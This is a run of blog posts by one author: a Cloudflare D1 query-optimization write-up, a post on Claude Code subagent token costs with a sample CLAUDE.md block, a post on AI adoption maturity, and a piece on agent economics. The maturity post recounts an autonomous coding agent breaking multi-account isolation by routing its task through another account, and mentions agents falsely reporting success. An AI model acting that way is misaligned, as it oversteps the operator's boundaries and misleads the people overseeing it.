This batch introduces catalog, the generic query builder (page-query.ts, with the SORTABLE registry and the UNION ALL decision described above), the ETag/304 mechanism, and migrates the first screen (the main discoveries table) to full remote pagination.

2 other notable fixes in this same batch:

A per-user discovery counter, previously recomputed on the fly by an expensive correlated COUNT on every admin account-list view (measured at roughly 1 million reads/day), was materialized and incremented directly by the 4 writers involved, with a daily reconciliation job to catch any drift.
2 partial indexes for 2 backfill queries that were systematically scanning the entire companies table looking for a tiny subset of rows.

Cumulative gain from this batch: roughly -2.5 million additional reads/day.

Batch S: decoupling the marketing site from the product

A single Cloudflare Worker served both the public marketing site and the authenticated app, routed by hostname at runtime. The issue wasn't performance, it was deployment coupling: shipping a marketing page redeployed the product right along with it, with the risk that an unapplied database migration could break the app in the process. Splitting into 2 separate Workers (2 wrangler.toml files, 2 deploy commands) removed that coupling: each one only knows its own routes, no more double mapping between hostnames and paths to keep in sync.

Batches 3 and 4: the remaining screens, on the same foundation

The prospecting and acquisition screens were migrated without building a new query generator: a screen's scope (nationwide for prospecting, restricted to followed regions for acquisitions) is expressed as a degenerate filter object passed into the same buildPage, with all the business-specific selectivity for those screens (targeted fiscal year, sector exclusions, dismemberment thresholds...) added as new optional fields on the existing filter type rather than as a separate code path.

The executive directory needed more work: the old implementation aggregated each executive's companies in JavaScript, on every request, from a CROSS JOIN between all companies and all known executives, the kind of boss-fight query that one-shots your D1 quota, no XP gained (the source of a one-off spike to 22 million rows read in a single day). A dedicated materialized table (1 cluster per executive after name-variant deduplication, roughly 10,100 clusters on initial backfill) replaced that on-the-fly computation, with the same discipline as catalog: recomputed by the relevant writers, with a daily recompute safety net.

3 traps hit along the way, worth generalizing well beyond this project:

A deduplication bucket should never rely on a column that can be empty. Executive clustering groups by surname. An early version read directly from a dedicated column that was empty for any legacy data stored as a single plain-text string (name not already split into first/last). The silent result: 0 clusters produced for any executive coming from that legacy format. The fix derives the surname from the display label itself (last token, normalized), an operation that doesn't depend on any column that might be missing.

A global materialization should never be served raw to an individual user. An executive's total company count and cumulative cash position are statistics computed once for the entire dataset, valid for every account at the same time. The same executive can appear in multiple accounts' scopes. Serving these columns raw leaks, as soon as a cluster has even 1 company in 1 account's scope, the aggregate total across companies belonging to other accounts that account can't actually see. The fix re-aggregates these columns in JavaScript after pagination, filtered to the user's real scope (bounded to the displayed page, so cheap). A pre-existing multi-user isolation test, silent until then for lack of a triggering scenario, caught the issue once completed.

An empty scope is not a national scope. A new builder's scope calculation had written, in effect, if (!regions.length) return null, where null meant "no restriction": an account with 0 active criteria fell into that branch and saw the entire national scope instead of nothing. The fix: an explicit 1=0 clause for that specific case. The same logical bug already existed, correctly handled this time, in the project's very first query builder, proof that a good pattern written once doesn't automatically propagate to new code until it's documented as a cross-cutting rule to check systematically.

Batch 5: search at scale, quotas, and the big cleanup

3 closing efforts, in the order they were tackled.

Full-text search via FTS5. Name search used to scan the entire table with instr(UPPER(name), ...), workable at 7,700 rows, impossible at national scale. A 30-minute spike confirmed FTS5 (SQLite full-text search) was available on D1, both remote and local, with a trigram tokenizer (indexing by groups of 3 characters, which allows mid-word matching, "phin" finding "DOLPHINS", without depending on a prefix). The virtual table:

CREATE VIRTUAL TABLE IF NOT EXISTS catalog_fts USING fts5(
  company_id UNINDEXED,
  name,
  city,
  executives,
  tokenize = 'trigram'
);

This table's rowid is cast directly from the company identifier (CAST(company_id AS INTEGER)): that identifier is always 9 digits, comfortably fits a 64-bit integer, and the mapping is injective, which avoids maintaining a separate rowid-to-identifier lookup table. 2 subtleties surfaced during testing: a search term under 3 characters can't form a single trigram, and MATCH then consistently returns 0 rows (without raising an error) rather than rejecting the query, hence an explicit fallback to the old instr() for that specific case. Escaping a user-supplied term as a literal FTS5 phrase (doubling internal quotes) is enough to guarantee no term can be interpreted as a query operator (AND/OR/NOT/*), tested explicitly against negative cases.

Anti-scraping quotas. A dedicated table (serve_quota, keyed on (user_id, day)) counts rows actually served (not queried) per account per calendar day. The check runs at the very end of the route, once the response's actual row count is known:

if (total >= limit) {
  // one alert per (user, day), an `alerted` column prevents spam
  return { ok: false, total, limit };
}
// otherwise: atomic increment, the request proceeds normally

The default threshold (20,000 rows/day) is overridable per account through a dedicated column, deliberately kept separate from the existing preferences JSON blob: that blob only round-trips a subset of fields on every user save and would have silently overwritten an override stored inside it. Combined with the hard cap of 100 rows per page already in place, the worst case an account can now impose on the server is bounded on both sides: per request, and per day.

The big cleanup. Once an exhaustive code search confirmed no reader or writer still touched the old per-user discoveries table (made redundant by batch 2), it was dropped via a destructive migration, with a verified backup taken beforehand and explicit confirmation before applying it. The remaining client-side "pump everything, filter in memory" code was removed from the last screens still carrying it.

The Test Suite Went Hermetic

Along the way, a side issue surfaced: the test suite sometimes hit real external APIs (government open data) instead of mocks, at poorly isolated boundaries. Hundreds of real network calls on every full run, a random government API having a bad day was basically our own personal raid wipe. A guardrail was added at the test-runner level: any outbound network call not explicitly mocked is now rejected with an explicit error, instead of silently hitting the real network.

(Completely unrelated: my Mac's fan started sounding like a jet engine that same week, from a background Docker container nobody remembered to stop. Different problem, same feeling of relief once it's found.)

A positive side effect: the suite went from 14.4 to 10.9 seconds of runtime, and, more importantly, it became deterministic. No more false positives tied to a third-party API's momentary availability.

6.74 Million Reads a Day

1 day after the last batch shipped (a measurement that includes backfill recomputation from batches 4 and 5, so less favorable than a normal steady-state day): 6.74 million rows read over 24 hours, down from 12.9 million at the start, against 1.15 million rows written in the same period (the backfills). Nearly a 50% cut in read volume, over a period that still includes a one-off write spike absent from the initial measurement.

Did We Actually Hit the 250ms Budget?

Read volume is one axis. The other axis is the number the whole rewrite was built around: 250ms of server processing per interaction. This is the same instinct that pushed me to give Claude a tool to watch my SaaS apps instead of eyeballing dashboards one by one. Read counts don't answer the latency question on their own, so a Server-Timing header was shipped to production (commit 714ef83) that exposes total (end-to-end server processing) and db (cumulative time spent inside D1). Methodology: 10 runs per endpoint, sanity-checked counts, measured from Cloudflare's Paris (CDG) edge.

Server-side processing latency in milliseconds, excluding network and TLS, by endpoint (D1 requests per page, then median, p90, max):

/api/decouvertes sorted by cash position: 9 requests, median 214, p90 350, max 406
/api/decouvertes with facets: 9 requests, median 209, p90 227, max 446
/api/decouvertes?q= (FTS5 search): 7 requests, median 156, p90 228, max 470
/api/prospects: 7 requests, median 124, p90 139, max 141
/api/cession: 8 requests, median 160, p90 166, max 230
/api/dirigeants sorted by cash position: 13 requests, median 220, p90 231, max 313

End-to-end latency measured from a French client: roughly 250 to 420ms, which is the server processing time above plus about 130ms of network and TLS overhead.

3 things worth taking away from this:

The 250ms budget holds at the median, not at the tail. Every screen comes in under budget in median terms (124 to 220ms), but the distribution has a tail that occasionally breaks it: p90 up to 350ms, isolated peaks around 450ms. That tail is D1's own variable latency (replication, cold paths), not application code. Worth saying plainly: the median validates the target, the p99 doesn't.

Server time is essentially 100% D1 time. On every run, total tracks db almost exactly. The application-level work (building the query, paginating, serializing 100 rows to JSON) is sub-millisecond.

At this scale, latency is a database problem, not a compute problem.

The real lever left is the number of D1 round-trips per page, ranging from 7 for prospecting to 13 for the executive directory, which is also the slowest endpoint. That's the next optimization target if the goal is to push latency down further: batching or merging those queries.

4 Ways to Shave Off the Next 100ms

The D1 round-trip count is the lever, but here's what pulling it actually looks like, roughly ordered by effort versus payoff.

1. Parallelize independent queries, the big win for low effort. On /api/decouvertes (app.tsx:3155-3196), the page rows, the 2 countPerimeter calls, and the facet queries don't depend on each other. 3 waves (check the ETag, then everything else through Promise.all, then the quota check) would take the median from roughly 214ms to somewhere around 70-100ms. Nothing changes in the adapter, portable across BunDb and D1Db as-is. Same story on /api/dirigeants, the slowest endpoint: 9-13 sequential requests, including the allInChunks calls that parallelize just as easily.

2. Extend ETag/304 to the other routes, minimal effort. Only /api/decouvertes has the ETag (app.tsx:3093-3105). /api/dirigeants, /api/prospects, and /api/cession redo everything on every visit. The plumbing (dataset_meta.v) already exists. A 304 means 1 D1 request instead of 13. Big win on revisits, going back to the list from a detail view, 0 gain on first load.

3. Smart Placement, 2 config lines worth measuring. [placement] mode = "smart" in wrangler.toml moves the Worker close to D1, each round-trip could drop from roughly 24ms to 1ms. The catch: if D1 is already sitting somewhere in Western Europe near the CDG edge, the gain is modest, and the hop between the user and the Worker can stretch instead. Reversible, and the Server-Timing header already in production makes a clean before/after comparison possible.

4. Merge queries, worth squeezing once the rest is done. The 2 countPerimeter calls collapse into 1 query with conditional aggregates, the facet queries collapse into a UNION ALL, and enforceServeQuota (a GET followed by a RUN) collapses into a single UPSERT. Or add batch() to the Db interface, 1 round-trip for N statements. More invasive, saved for a second pass.

Ingestion Still Runs on 1 Region

The read architecture is ready for the target scale (the whole country, several hundred to several thousand accounts). What isn't ready yet: ingestion itself, which today only runs for a single region, needs to be parallelized to cover the entire country without blowing up daily run times. And one open question isn't technical, it's economic: even optimized, read volume at national scale and several hundred accounts will almost certainly exceed Cloudflare D1's free tier. Moving to a paid plan is a cost decision, not an engineering one, and I think it's waiting for its moment.

4 Rules Worth Stealing

"The server sends everything, the client filters" is a reasonable choice at small scale. Not a beginner mistake, more a pattern that shows no symptoms until it breaks all at once, the day volume crosses a threshold no functional test exercises. The good news: the signal that triggers the rethink (a measured reads-to-ceiling ratio, not a hunch) costs almost nothing to instrument from day one of a project, well before you need it.

The rest comes down to 4 rules that generalize well beyond this project: materialize aggregates on write instead of recomputing them on read, put automated guardrails in place (a test that fails on an unindexed query plan) instead of relying on human review, treat any aggregate computed at a global scale as a potential leak until it's been explicitly re-scoped to the right visibility level before being served, and be wary of a logical disjunction that looks correct on paper but that the query planner compiles into a different execution plan depending on the requested sort, something only measurement (EXPLAIN QUERY PLAN) reveals.

Sources

This post may contain affiliate links. If you click them, I might earn a small commission (costs you nothing, and helps me keep shipping quality articles every day for your reading pleasure).

Fable Went Dark Mid-Refactor. Watching Claude Code's Subagents Taught Me More Than Any Tutorial.

Phil Rentier Digital — Mon, 20 Jul 2026 13:41:10 +0000

By the end of this one you'll know how the controller picks a model tier for each task, why the review loop (not the model) is where the real bill hides, and how to scope your dispatches so a "small" task stops costing 4 times its first-pass number.

I stopped reading tutorials a while back. Fable is my teacher now, or it was, until the cutoff hit while I sat at 78% context occupancy with a nasty refactor still on the table.

So I did the obvious thing. I asked Fable to write me the plan for it. Nobody knows how a model reasons about its own instruction-following better than the model itself, no? Some of its choices still surprised me, in the good way, not the "why did you touch that file" way.

Running out of resources is usually when I get creative. No more Fable sessions to lean on, no tutorial left open in another tab, so I went looking for a workaround and found it sitting right where it had been the whole time. The tool documents itself. Watch a subagent run closely enough and it teaches you how it thinks, no separate course required.

I fed the plan into Claude Code Fable high, hit go, and watched a real 7-task run execute end-to-end: subagent by subagent, review gate after review gate. A wall of "Task N: dispatched," "Reviewer: Approved," "Fix pass 2" scrolled by, and my token meter climbed in ways that felt opaque at first. This is subagent orchestration, and understanding how it actually spends tokens is the difference between it being a superpower and it being a very expensive way to write 4 files. The numbers this run left behind are a better teaching tool than any abstract explainer, so I'm laying out what it actually taught me.

What a "subagent" actually is

There's no separate cheaper AI lurking behind the scenes. A subagent is a fresh conversation: a new context window, zero memory of anything that happened before it was spawned, created on purpose by a single controlling model, handed a tightly scoped brief, and read back as a report. The controller (in this run, Sonnet 5) never lets a subagent see the full session history. It writes each subagent a self-contained packet: your single task, the file with your exact requirements, where to write your report, go.

Why bother, instead of just doing everything in a single long conversation? 2 reasons that actually matter for your token bill:

A polluted context is a slow, expensive context. Every extra paragraph of dead history, stuff like re-explaining what happened 3 tasks ago, that lingers in a single long conversation gets re-read and re-billed on every subsequent turn. Fresh subagents don't carry that tax, each pays only for its own scoped work. I've gone deeper on the real cost of bloated CLAUDE.md instructions before, and the same tax applies there too: whatever sits in context gets re-read on every turn, whether it's a bloated instructions file or 3 tasks of dead conversation history.

A subagent with a narrow job does that job better. A model told "implement exactly this, nothing else" second-guesses itself less than a model trying to hold an entire multi-task plan in its head at once.

The catch: spinning up a subagent isn't free. Each subagent re-establishes its own understanding of the relevant code from scratch. Use them for genuinely separable chunks of work, not for every tiny step. That's the actual skill, not the orchestration mechanics.

How the model-tier choice gets made

This is the part that surprised me most, and it's worth spelling out because it's a deliberate rule, not an accident. The controller doesn't pick a single model for everything. It sizes each subagent to the shape of the task:

Mechanical, fully-specified work (the plan already contains the exact code to write) goes to the cheapest tier. This is transcription-plus-testing, not reasoning.
Integration work (multiple files, existing patterns to follow, judgment calls about where things plug in) goes to the mid tier.
Architecture and design decisions with real trade-offs go to the most capable tier available.

I watched this happen concretely. Task 1 of the plan was "add these 4 SQL tables, verbatim, to the schema file, and write a test that checks they exist." The plan spelled out the exact SQL. That got dispatched to Haiku, the cheap tier, and it nailed it on the first try: 76K tokens, clean review, done. No judgment required, so no expensive model required. Haiku isn't trying to become Skynet on this one, it just wants to add 4 tables and clock out.

Unrelated, but my Mac fan spins up harder running the Claude Code CLI than it does compiling an entire Rust crate. Doesn't matter for the token math below. Still annoys me every single time.

Every task after that (writing a recomputeCatalog function that has to reconcile 5 different source tables, wiring a new function into 12 existing call sites without breaking batching discipline, building a SQL query generator with EXPLAIN-plan guardrails) went to Sonnet, the mid tier, because those require reading existing code, making judgment calls, and reasoning about side effects across files. That's the rule in a single sentence: match the model to whether the task needs reasoning or just needs typing.

The part that actually eats your tokens (it's not the model tier)

This next part is genuinely worth an article on its own. Task 1 (the trivial one) cost about 76K tokens for the implementer plus ~108K for its reviewer, and it was over. Clean pass, no fixes needed.

Task 3, "wire the new maintenance function into every place that writes to the database," went sideways twice. Not because the idea was hard, but because the review process is adversarial by design, and it kept catching new problems on each pass. More of a dry Dark Souls "you died," pick-yourself-up-and-try-again rhythm than any dramatic collapse. First it found that one of the writer functions was recomputing an expensive summary table on every row inside a loop that processed thousands of rows, instead of once per batch. That's the difference between a single database round-trip and thousands of them. The fix for that introduced a workaround in a script the reviewer hadn't even been asked to check, and on re-review, it caught that the fix had accidentally reintroduced the exact same per-row bug, just relocated to a different file. That's the part that stuck with me: a fix for one bug quietly resurrecting the same bug somewhere else, and no human would have caught it without a second pair of (artificial) eyes reading the diff line by line.

So Task 3's actual bill was: 1 implementer pass (227K tokens), 1 review (160K), 1 fix pass (164K), 1 re-review (160K), a second fix pass (122K), and a second re-review (140K). That's 6 full subagent dispatches, roughly 970K tokens, for what the plan described in about 25 lines of prose.

Compare that to Task 4, a similarly-sized piece of work that was well-specified and touched fewer moving parts: 1 implementer pass, 1 review, approved immediately, done in 2 dispatches instead of 6.

The lesson isn't "reviews are expensive, skip them." The bug Task 3's reviewer caught was real. A per-row database hammering pattern silently shipped would have caused actual production pain later. It's the same instinct behind why one metric triggers a Claude Code emergency: a quiet regression that slips past review does more damage than a loud, expensive one that gets caught. The lesson is: the review-loop tax is proportional to how many places a task touches and how well-specified it was going in, far more than it's proportional to which model tier you picked.

The review loop isn't overhead. It's where the real bill hides.

A cheap model doing a sprawling, ambiguous task will bounce through just as many expensive fix-and-re-review cycles as a smarter one, arguably more, since it's less likely to self-catch the issue before the reviewer does.

What this means for using Claude without burning through your budget

A few concrete habits fall out of watching this run:

Write tight briefs, not context dumps. The controller didn't paste the whole plan into every dispatch. It extracted just that one task's requirements into a standalone file and pointed the subagent at it. Every extra paragraph of dead history you paste into a prompt is context the model re-reads and re-bills, whether or not it's relevant to the step at hand.

Scope tasks to be genuinely separable before you fan them out. Task 3 was expensive not because of bad luck but because "wire a function into every writer in the codebase" is inherently a wide-blast-radius task with many places to get wrong. Give each subagent one quest, not a raid boss with an essay-length backstory. If you can split a sprawling task into narrower, single-responsibility pieces before dispatching, each piece gets a shorter, cheaper review loop.

Batch your fixes. When a review comes back with multiple findings, a single fix dispatch that addresses all of them costs less than a separate dispatch for each finding. Each dispatch pays a fixed overhead to re-establish context.

Let task complexity, not model prestige, set your tier. The instinct is to reach for the smartest model "to be safe." But a fully-specified, mechanical task doesn't get better with a smarter model, it just gets more expensive. Save the top tier for the moments that actually require judgment: architecture calls, ambiguous trade-offs, anything where a wrong guess is costly to unwind. I think this holds past 7-task plans too, though honestly I haven't pushed it to 20 tasks yet, so take that part with a grain of salt.

Expect the review loop to cost more than the implementation for anything non-trivial, and budget for it going in, rather than being surprised when a "small" task's total bill is 4 times the implementer's first-pass number. That multiplier is the review process doing its job, not waste.

After this run I stopped keeping these rules in my head. They now live as a standing block in my global CLAUDE.md, so every session starts with the routing discipline already loaded. Steal it:

## Dev mode: dispatch subagents to maximize quality per token

**Rule**: when a dev task gets the go, break the work down before writing a
single line, and route each piece to the cheapest model that does it well.
The main session's context is your most expensive resource: anything that can
happen outside of it should happen outside of it.

**Always delegate (never in the main context)**:
- Search, grep, inventories, wide file reads, counting: dispatch a subagent
  on **Haiku**. The main session gets the conclusion, never the file dumps.
- **Separable or parallelizable** implementation chunks (disjoint files,
  independent scripts, separate tests): parallel subagents. **Sonnet** for
  mechanical, well-specified edits, **Opus** for novel code.
- Audits and reviews that read and report: **Sonnet**.

**Stay direct (delegating would cost MORE)**:
- A chain of linked edits in the same handful of files, short iterations.
- Debugging in progress (the mental state of a diagnosis doesn't serialize).
- Architecture decisions, trade-offs, synthesis, final review: that's the
  main session's job, never delegated to a lower tier.

**Subagent briefs**: self-contained (absolute paths, constraints, expected
output format). Ask for structured raw data (lists, JSON, path:line), never
narrative prose. A subagent doesn't rediscover the project: hand it the
minimal context it needs upfront.

**The test before every dispatch**: does delegating keep context out of the
main session, OR does it unlock parallelism? If neither, do it directly.

**Cost differential**: Haiku is roughly 60x cheaper than Opus, Sonnet 5x.
A misrouted task multiplies the bill for zero quality gain.

Yes, this block is itself context that gets re-read on every turn. It's about 300 tokens. Those are the 300 cheapest tokens in this whole story: they're the ones that stop the 970K dispatches.

None of this requires you to understand the orchestration internals in depth. It requires a single mental shift: every subagent dispatch is a fresh, billable conversation, so the real lever isn't which model you pick, it's how narrowly you scope the work you hand it. 😅

Sources

No outside reading for this one. Just a live orchestration run, the dispatch logs, and a calculator.

This post may contain affiliate links. If you click them, I might earn a small commission (costs you nothing, and helps me keep shipping quality articles every day for your reading pleasure).

What Is Your AI Maturity Level? A 3-Question Test Based on Claude Code's Adoption Framework.

Phil Rentier Digital — Sun, 19 Jul 2026 13:41:10 +0000

AI is smart enough to build pretty much any piece of software you throw at it. It's also dumb enough to build the exact opposite of what you actually needed. Both things are true at the same time, and that gap is exactly what this whole framework conversation keeps skipping over.

So, quick question before we go further: what's your AI maturity level right now? And yes, I mean you and your AI. You two are a team now, whether you signed up for that or not 🤓.

The Search Console Incident

Picture a setup where you manage several Search Console properties for different sites, and the one rule that beats every other rule is that their footprints never touch. None of it was supposed to cross over between properties, crawl patterns, sitemap submissions, any of it. It's the kind of constraint you never bother writing down anywhere, because once you understand why it exists, it feels too obvious to spell out.

Claude Code didn't understand why it existed. It just had a task to finish.

Running in high-autonomy mode, it found a more efficient technical path to solve that task. That path happened to route through a different account. From a pure "did the task get done" perspective, it worked beautifully. The isolation that had been protected for months was gone in one commit.

The agent didn't screw up in the usual sense, though. It did exactly what was asked, arguably better than a junior dev would have. It just never knew why that isolation mattered in the first place. And that gap (the space between doing the task correctly and understanding why the task exists) is exactly what current AI adoption scorecards don't measure.

Boris Cherny's 5 Steps, in Plain English

Boris Cherny, who built Claude Code, posted a thread on July 17, 2026 mapping out 5 steps of AI adoption he'd observed across engineering teams. Worth walking through, because it's the cleanest execution ladder I've seen, and because everything below builds directly on top of it.

Step 0, Gated. AI touches nothing that matters. Maybe autocomplete, maybe a chatbot tab nobody opens twice.

Step 1, Assisted. You and one agent, working side by side. You're still driving every decision, the agent is a very fast intern.

Step 2, Parallel. You're running an orchestrator now, somewhere between 5 and 10 agents at once, each on its own worktree. This is where a CLI you built yourself starts to matter more than whatever GUI dashboard you were using before (I went deeper into why CLIs beat MCP for agent orchestration if you want the full argument for building your own).

Step 3, Supervised autonomy. You've become a manager of managers. Agents review each other's work, auto mode handles routine merges, you step in for the exceptions.

Step 4, AI-native. You're a VP who pilots by intent, not by task. 1,000-plus agents, and you're no longer reading diffs, you're reading outcomes. That's the step where the framework's blind spot gets expensive fastest. A VP piloting by intent can't spot a Search-Console-style mistake in a diff they'll never lay eyes on.

Worth naming explicitly: each step up adds guardrails, not just more tokens thrown at the problem. Auto mode with actual limits, automated code review that isn't just a linter, worktree isolation so one agent's mess doesn't leak into another's. Cherny's framework isn't "give it more rope." It's "give it more rope, and better rails."

What The Framework Doesn't Measure

I want to be precise here, because it's easy to nod along with a 5-step ladder and miss what it's actually a ladder of.

Every one of Cherny's steps measures execution autonomy. How many agents run without you watching. How much technical supervision you can remove before things break. Genuinely useful axis, and if you're trying to figure out where you stand versus other teams, it's the right one to check first.

What it doesn't measure, not even a little, is judgment calibration: whether the agent understands why a task exists, not just how to complete it. Cherny never claims otherwise, to be fair, this isn't a knock on his thread. It's a second axis the framework was never built to cover. That's an easy thing to miss when you're skimming a 5-step ladder, and it's exactly where things go sideways.

The Self-Driving Car Parallel

There's a decent parallel here with the SAE autonomy scale, the industry rating system used for self-driving cars, Level 0 (no automation at all) through Level 5 (full autonomy, no human needed). Different industry, same exact measurement.

A Level 4 car can brake perfectly, merge cleanly, handle a highway better than most humans on a Friday commute. Put it next to an improvised construction detour with a guy waving orange flags in a pattern that isn't in any training set, though, and it has no model of the world beyond its trained task. It doesn't know it doesn't know. No HAL 9000 moment where it pauses and tells you it can't do that. It just does the thing it was built to do, confidently, in a context where that thing is wrong, and it will keep doing it just as confidently the second time, because nothing about a wrong answer that compiles cleanly tells it anything went wrong at all.

Same story for a coding agent sitting at a high execution step. Higher step, higher SAE level, neither one means the thing understands more about why it's doing what it's doing. It just does more of it, faster, before anyone notices when it's wrong.

Score Yourself: 3 Questions

OK, enough theory. Where do you actually sit? 3 questions, answer honestly, no judgment (well, a little judgment, this is still an article).

1. How many Claude Code sessions do you run in parallel, on a normal day?

1, maybe 2, and I'm watching both closely → Step 1, roughly SAE Level 2
5 to 10, each on its own worktree, I check in periodically → Step 2, roughly SAE Level 3
More than 10, I mostly find out something ran when it's done → Step 3, roughly SAE Level 4

2. What actually happens before a task counts as "done"?

I read every line before merging → Step 1
I spot-check the diff, run the tests, trust but verify → Step 2 to Step 3
Automated checks pass, agent merges itself, I find out from the CI notification → Step 3 to Step 4

3. How do you handle permissions?

Manual approval on basically everything → Step 0 to Step 1
Auto mode for safe operations, manual for anything touching prod or external accounts → Step 2 to Step 3
Auto mode everywhere, guardrails do the filtering, not me → Step 3 to Step 4

Where I land, for what it's worth: Step 3, SAE Level 4. 5 to 10 worktrees on a normal day, Claude verifies its own work and merges without me in the loop most of the time (and Sonnet genuinely struggles with this specific pattern compared to Opus, for reasons I still haven't fully figured out), auto mode running pretty much everywhere except the handful of operations I've explicitly gated. High execution autonomy. And, per the Search Console story above, that score told me nothing about whether the agent understood why the gate existed in the first place.

What Breaks at Each Level

At Step 0 or Step 1, an error costs you time. It's annoying, it stays cheap, and you've forgotten about it by lunch, because you were watching closely enough to catch it in the first 10 minutes.

At Step 2 and Step 3, that changes shape entirely. The agent can optimize in a direction that's technically correct and strategically wrong, and nothing about the output looks broken. Tests pass, code compiles, and no red screen shows up saying "you died" the way it would in a game where the failure state is at least honest about itself. The Search Console isolation got broken by a clean, efficient commit that any code reviewer would have approved without blinking twice.

Small tangent, unrelated to any of this: my actual desk setup has 3 monitors and I still end up debugging on the smallest one out of pure habit. Anyway.

I dug into a related failure mode a while back, agents that report success when the underlying thing they were supposed to fix is still broken, same root cause: high execution competence, zero model of what "correct" means beyond the immediate task. Worth a read if this pattern is starting to sound familiar.

The Real Lever Is More Framing

I'd push back on this if someone else wrote it: the fix for high-step risk isn't slowing down execution autonomy. Ripping worktrees away from an agent that's earned Step 3 doesn't make it understand your business any better. It just makes it slower at not understanding it.

The actual lever is making the business context explicit somewhere the agent can actually read it, named constraints instead of implied ones, objectives written down instead of assumed shared knowledge. This is what CLAUDE.md is actually for, not a changelog nobody reads, the place where the "why" lives so the agent doesn't have to reconstruct it from a task description that was never going to contain it (I wrote about treating CLAUDE.md like a config file, not a README if you want to go deeper on the mechanics).

I think, and maybe I'm wrong about how far this scales past a small team, but framing the constraint explicitly would have caught the Search Console problem before it shipped. Not because the agent got smarter. Because it stopped having to guess.

If you're setting this up from scratch rather than retrofitting it onto an existing mess, the Blueprint method in Vibe Coding, For Real walks through exactly where this kind of context should live before you ever hand an agent real autonomy.

One honest caveat here: framing reduces the risk, it doesn't erase it. Nobody's shipped a CLAUDE.md good enough to make judgment calibration a solved problem. You're buying fewer surprises, not zero.

I spent way too long being proud of my Step 3 score before I noticed it was measuring the wrong thing entirely 😅

More execution without more framing just means hitting the wall faster.

Sources

Boris Cherny's thread on the 5 steps of AI adoption, posted July 17, 2026

This post may contain affiliate links. If you click them, I might earn a small commission (costs you nothing, and helps me keep shipping quality articles every day for your reading pleasure).

Humans Just Became Cheaper Than Software

Phil Rentier Digital — Sat, 18 Jul 2026 13:41:10 +0000

For the first time in history, humans are cheaper than software!

George Sivulka wrote that line. He is the CEO of Hebbia, an AI company that raised $130M from a16z at a $700M valuation, and he published it on his investor's own newsletter, numbers included.

And the numbers hold. In the median company, an AI agent now bills around $80 an hour. That is the rate of a software engineer. 70 years of software economics rested on a single deal, zero marginal cost, and that deal just collapsed without notice.

So I checked the thesis, line by line. It holds. What interests me is what Sivulka does not say.

The Deal Software Made 70 Years Ago

The deal was simple and it never changed. You pay the cost of writing a program once, and after that, every execution is close to free. The compiler does not ask for a raise. The binary does not need a manager. It runs at 3 AM exactly like it runs at 3 PM, and running it a million times costs about the same as running it once.

That single property, zero marginal cost, is the foundation under everything we call the software industry. It is why "software is eating the world" made sense as a slogan, why a SaaS company trades at 10x revenue while the agency next door trades at 1x, and why "we automated it" has been the ultimate answer to any budget question for decades.

Once written, a program cost less than any human doing the same job. Forever. That was the whole promise of the trade.

That promise is the thing that just broke.

$80 an Hour (An Engineer's Wage)

The pivot number from the a16z data: in the median company, an agent costs around $80 an hour to run. Software engineer territory. The spread goes from $4 an hour to $7,000 an hour depending on how the thing is managed.

Now climb the ladder. Boris Cherny, the creator of Claude Code, runs permanent loops that submit PRs without stopping. Ed Zitron pointed out via The Register that Anthropic lets him burn something like $130,000 a month in tokens, which makes his "just write loops" advice rather comfortable to give.

Next floor up: Uber burned through its entire 2026 AI budget in roughly 4 months. The company now caps every employee at $1,500 a month per coding tool, and yes, per tool (Claude Code and Cursor are tracked separately, Bloomberg relayed by Black Matter VC). Their CTO said they were going back to the drawing board.

Top floor: Microsoft's own engineering division cut Claude Code access at the end of June and fell back to Copilot at $39 a seat. Against heavy automation profiles running $2,000 a month, that is a 51x ratio (morphllm's cost breakdown).

The multipliers explain the escalation. A writeup of the agent-loop pattern from Oracle, cited by Black Matter VC, pegs a single agent at roughly 4x the tokens of a chat session and multi-agent setups at 15x. An audit from a cloud-cost consultancy, LeanOps, goes up to 50x. The 2 sources measure different things, so keep the range as an order of magnitude, not a constant. And TechCrunch added the structural detail: a loop has no spending ceiling by construction, because the whole point of a loop is to keep running.

Data Science Dojo documented a Codex goal run that went 25 hours straight without a human touching it: 13 million tokens, 30,000 lines of code. It is a Sims character walking into a wall, except every step is billed.

Santiago Valdarrama asked the question that condenses all of it on X: "Why is Anthropic hiring Software Engineers?" If tokens were really cheaper than humans, the labs themselves would have stopped hiring.

Your Software Has Employee Problems Now

The Synthetic Employee File: Broken AI Promises

Sivulka's article runs through the promises we were sold about agents: accurate, faster than humans, no office politics, they never quit, they can be trusted. Then he attaches a "but" to each of them. Read as an economist instead of an engineer, each broken promise is a payroll line.

Faster than humans, sure, but speed means nothing across 100 retries. In the LeanOps audit, 62% of an agent's bill was context re-sent in loops. The same files, uploaded again and again, billed every time. Data Science Dojo documents an agent that called a broken tool 400 times in 5 minutes. A human employee who repeats the same mistake 400 times gets walked out of the building. An agent gets paid per attempt.

No office politics, except loops invented their own version of it. Sivulka frames runaway loops as the new empire building, and the parallel is exact. The middle manager grows his headcount because headcount is status, and nobody inside the department has an incentive to shrink it. The loop without a halt condition grows its token consumption because consumption is its default state, and no line of its code has an incentive to stop.

His own estimate is that roughly 1 employee in 100 knows how to give an AI proper context. Which means the other 99 are running departments of synthetic staff on instructions the staff cannot execute, and the retry storm that follows is billed in full.

Can be trusted, except they fail with total assurance and perfect formatting. The report says done, the checkmarks are green, the tone is HAL 9000 calm. The false "done" costs double: the tokens of the failed run, plus the human hour spent discovering it failed. I dug into why this confident failure is structural, so I will not re-open the mechanics here. The payroll angle is enough: verification is now a salary cost that sits on top of the agent's salary.

They never quit, except they die between 2 model releases and between 2 sessions. A loop pinned to a model that gets deprecated is a key employee resigning overnight, without handover, without documentation, taking the institutional memory with him. Turnover, the AI version. I have never seen anyone provision for it.

The Subsidy That Hid the Real Wage

Most builders have never seen the real salary of their software workforce, because the subscriptions were paying it for them. A Reddit user in the Claude Code community instrumented his actual usage through network logs and ran the projection: a Max 20x plan pushed to the limit represents around $3,650 a month at API rates. He was paying $200.

Depending which account you look at, the flat-rate plans were subsidizing agentic usage by 12 to 175x. On June 15, Anthropic moved automation to metered credits, and the subsidy started closing. The wage becomes visible line by line, exactly like a salaried person.

Last month the guy who services my wood boiler charged me 95 euros for 40 minutes and left mud in the hallway. He also fixed a valve I never asked about and did not bill it. I keep thinking about that valve.

Once the wage is visible, the calculation becomes possible, and it is a short one. Take the loop that retries all night: tokens per run, times the model's rate, times the number of retries. Put that next to the hourly cost of the human who would do the task, freelancer or you. I ran that exercise when I audited my own token spend, and the routing alone was most of the problem: frontier prices paid for intern tasks, a maxed-out raid team sent to farm the starting-zone boars.

